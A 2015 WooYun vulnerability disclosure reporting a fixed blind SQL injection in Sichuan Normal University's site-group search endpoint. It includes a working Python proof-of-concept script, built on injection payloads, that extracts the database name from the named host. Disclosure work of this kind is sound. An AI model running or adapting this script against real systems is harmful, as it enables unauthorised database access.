当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0117085

漏洞标题:四川师范大学站群系统sql注入

相关厂商:sicnu.edu.cn

漏洞作者: 有归于无

提交时间:2015-05-30 10:26

修复时间:2015-06-02 09:45

公开时间:2015-06-02 09:45

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:12

漏洞状态:厂商已经修复

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-05-30: 细节已通知厂商并且等待厂商处理中
2015-06-01: 厂商已经确认,细节仅向厂商公开
2015-06-02: 厂商已经修复漏洞并主动公开,细节向公众公开

简要描述:

站群系统,搜索处盲注。

详细说明:

36个站:

1.png


这个地方有问题:

http://card.sicnu.edu.cn/_wx/_wx_home_news.aspx?fid=&kw=


实际请求地址:

http://card.sicnu.edu.cn/_wx/_wx_home_news_ajax.ashx?action=GetHtml&fid=&kw=1


不知道怎么写的sql语句,也不知道怎么过滤的,用sqlmap跑不出来,自己写了个验证脚本。

# -*- coding: utf-8 -*-
import urllib2
import sys
reload(sys)
sys.setdefaultencoding('utf-8')
def get_current_database(url):
print '[*]testing current database lenth...'
for database_len in range(1,50): #原谅我直接认为它数据库名长度小于50
req_url=url+"%'+and+len(db_name())>"+str(database_len)+"--+"
req=urllib2.urlopen(req_url)
# print req.read()
lenth=len(req.read())
if lenth < 100: #手工查看它无回显时页面内容就小于100
break
print '[*]database len:'+str(database_len)
print '[*]testing current datase...'
current_db=''
for i in range(1,database_len+1):
for num in range(0,128):
req_url=url+"%'+and+ascii(substring(db_name(),"+str(i)+",1))>"+str(num)+"--+"
content_lenth=len(urllib2.urlopen(req_url).read())
if content_lenth<100:
print chr(num)
current_db+=chr(num)
break
return current_db
if __name__ == '__main__':
current_db=get_current_database(sys.argv[1])
print '[*]current database:'+current_db


结果:

2.png


这样证明应该足够了吧,就不深入了哈。。。

漏洞证明:

2.png

修复方案:

过滤

版权声明:转载请注明来源 有归于无@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-06-01 09:03

厂商回复:

处理修复中...

最新状态:

2015-06-02:漏洞已修复,感谢有归于无对四川师范大学信息安全建设做出的贡献。